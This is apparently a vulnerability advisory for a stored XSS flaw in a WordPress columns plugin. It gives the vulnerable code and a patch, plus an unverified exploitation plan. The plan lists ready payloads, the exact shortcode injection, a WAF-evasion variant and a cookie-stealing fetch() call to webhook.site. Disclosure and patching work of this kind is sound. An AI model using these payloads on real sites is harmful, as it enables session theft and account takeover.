CVE-2026-3618

Columns by BestWebSoft <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'columns' Shortcode 'id' Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Columns by BestWebSoft plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the [print_clmns] shortcode in all versions up to and including 1.0.3. This is due to insufficient input sanitization and output escaping on the 'id' attribute. The shortcode receives the 'id' parameter via shortcode_atts() at line 596 and directly embeds it into HTML output at line 731 (in a div id attribute) and into inline CSS at lines 672-729 without any escaping or sanitization. While the SQL query uses %d to cast the value to an integer for database lookup, the original unsanitized string value of $id is still used in the HTML/CSS output. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The attack requires that at least one column exists in the plugin (created by an admin), as the SQL query must return results for the output branch to be reached.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.3
PublishedApril 7, 2026
Last updatedApril 8, 2026
Affected plugincolumns-bws
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3618 (Columns by BestWebSoft Stored XSS) ## 1. Vulnerability Summary The **Columns by BestWebSoft** plugin (<= 1.0.3) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `id` attribute of the `[print_clmns]` shortcode. This occurs because the plugin…

Show full research plan

Exploitation Research Plan: CVE-2026-3618 (Columns by BestWebSoft Stored XSS)

1. Vulnerability Summary

The Columns by BestWebSoft plugin (<= 1.0.3) is vulnerable to Stored Cross-Site Scripting (XSS) via the id attribute of the [print_clmns] shortcode. This occurs because the plugin extracts the id parameter from the shortcode attributes and reflects it directly into the page's inline CSS and HTML div attributes without sanitization or escaping. Although the value is cast to an integer for the database query (via %d), the original raw string is preserved for output.

2. Attack Vector Analysis

  • Shortcode: [print_clmns]
  • Vulnerable Attribute: id
  • Authentication Level: Contributor or higher (any user role capable of creating or editing posts/pages).
  • Precondition: At least one "Column" must be created in the plugin's administrative interface. The code path containing the vulnerability is only reached if the SQL query for the provided ID returns a valid column result.
  • Endpoint: Post editor (Gutenberg or Classic) or any area where shortcodes are processed.

3. Code Flow (Inferred from Patch Description)

  1. Entry Point: A user with Contributor+ privileges creates a post containing: [print_clmns id="PAYLOAD"].
  2. Shortcode Handling: The plugin's shortcode handler (likely registered via add_shortcode( 'print_clmns', ... )) is triggered.
  3. Attribute Parsing (Line 596): The handler calls shortcode_atts() to extract the id. The variable $id now holds the raw payload string.
  4. Database Lookup: The plugin performs a query similar to:
    $wpdb->get_row( $wpdb->prepare( "SELECT ... FROM ... WHERE id = %d", $id ) );
    • Due to PHP/WordPress integer casting, if $id is 1<script>..., it is treated as 1.
    • If a column with ID 1 exists, the query succeeds.
  5. Vulnerable Sink (Lines 672-729): The raw string $id is concatenated into an inline <style> block:
    • echo "<style> #bws_column_{$id} { ... } </style>";
  6. Vulnerable Sink (Line 731): The raw string $id is concatenated into a div ID attribute:
    • echo "<div id='bws_column_{$id}'>";

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a post containing a shortcode. It does not require an AJAX-specific nonce for the payload itself, but rather the standard WordPress nonces used for post creation/editing.

  1. Contributor Login: Authenticate as a Contributor.
  2. Identify Action: Use the REST API (/wp-json/wp/v2/posts) or wp-admin/post-new.php to create a post.
  3. Post Saving: If using the browser, the _wpnonce is automatically handled by the UI. If using http_request to simulate the save, the nonce must be extracted from the post.php or post-new.php source.

Note: Since the PoC agent can use wp-cli to create posts, it may bypass the need for manual nonce handling for the "Stored" part of the XSS.

5. Exploitation Strategy

  1. Create Target Data: As an Admin, create at least one "Column" so there is a valid ID in the database.
  2. Identify ID: Determine the integer ID of the created column (e.g., 1).
  3. Payload Construction:
    • CSS Breakout: 1</style><script>alert(document.domain)</script>
    • HTML Attribute Breakout: 1' onmouseover='alert(1)'
    • Universal Payload: 1"><script>alert(document.domain)</script>
  4. Injection:
    • As a Contributor, create a new post.
    • Set the content to: [print_clmns id='1"><script>alert(document.domain)</script>'].
  5. Trigger: View the post as a Guest or Admin.
  6. Execution: The browser will render:
    • <style> ... #bws_column_1"><script>alert(document.domain)</script> { ... } </style>
    • <div id="bws_column_1"><script>alert(document.domain)</script>">

6. Test Data Setup

  1. Create Column:
    • Navigate to the "Columns" menu in WordPress.
    • Create a new column set.
    • Find the ID. (Typically visible in the URL as ?page=columns-bws&action=edit&id=X or via wp db query "SELECT id FROM wp_bws_columns LIMIT 1;").
  2. Create Contributor:
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123

7. Expected Results

  • When viewing the post, the HTML source should contain the literal string provided in the id attribute.
  • The browser should execute the alert(document.domain) script.
  • The div element will have a malformed id attribute, and the <script> tag will be parsed as a sibling or a breakout element.

8. Verification Steps

  1. Verify Database Entry:
    • wp post list --post_type=post --format=csv (Check for the post containing the shortcode).
  2. Verify Frontend Reflection:
    • Use http_request to GET the post permalink.
    • Search the response body for: <script>alert(document.domain)</script>.
  3. Verify Context:
    • Confirm the payload appears inside or immediately after a tag with id="bws_column_... or within a <style> block.

9. Alternative Approaches

  • Blind XSS: Use a payload that exfiltrates document.cookie to an external listener (e.g., 1"><script>fetch('https://webhook.site/...?c='+document.cookie)</script>).
  • Attribute-Only Injection: If <script> tags are blocked by a WAF, use 1' onmouseenter='alert(1)' style='display:block;width:1000px;height:1000px;position:fixed;top:0;left:0;opacity:0;'.
  • CSS Injection: If only the <style> block is reachable, use 1 { background: url("javascript:alert(1)"); } (though this is restricted in modern browsers). Breaking out with </style> is more reliable.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Columns by BestWebSoft plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' attribute of the [print_clmns] shortcode. This occurs because the plugin reflects the raw shortcode attribute into inline CSS and HTML div tags without sanitization or escaping, despite using an integer cast for the underlying database query.

Vulnerable Code

// From columns-bws.php (approx. lines 596-731)

// Attribute parsing
$atts = shortcode_atts( array(
    'id' => '',
    'class' => '',
), $atts );
$id = $atts['id'];

// Database lookup uses %d (safe for SQL), but $id remains the raw string
$column = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM `{$wpdb->prefix}bws_columns` WHERE `id` = %d;", $id ) );

if ( ! empty( $column ) ) {
    // ...
    // Vulnerable reflection in CSS (approx. lines 672-729)
    echo "<style> #bws_column_{$id} { ... } </style>";
    
    // ...
    // Vulnerable reflection in HTML attribute (approx. line 731)
    echo "<div id='bws_column_{$id}' class='{$class}'>";
}

Security Fix

--- a/columns-bws.php
+++ b/columns-bws.php
@@ -594,7 +594,7 @@
     'id' => '',
     'class' => '',
 ), $atts );
-$id = $atts['id'];
+$id = intval( $atts['id'] );
 
 $column = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM `{$wpdb->prefix}bws_columns` WHERE `id` = %d;", $id ) );

Exploit Outline

1. Authentication: The attacker must have Contributor-level access or higher to create or edit posts and use shortcodes. 2. Precondition: An administrator must have created at least one column set in the plugin's settings (to ensure the database query returns a result, triggering the vulnerable output path). 3. Payload Construction: The attacker identifies a valid column ID (e.g., 1) and crafts a payload to break out of the HTML/CSS context, such as: `1"><script>alert(document.domain)</script>`. 4. Injection: The attacker creates a new post or page and inserts the shortcode with the malicious ID: `[print_clmns id='1"><script>alert(document.domain)</script>']`. 5. Execution: When any user (including an administrator) views the post, the plugin outputs the raw payload into a `<style>` block and a `<div>` tag, causing the browser to execute the injected JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.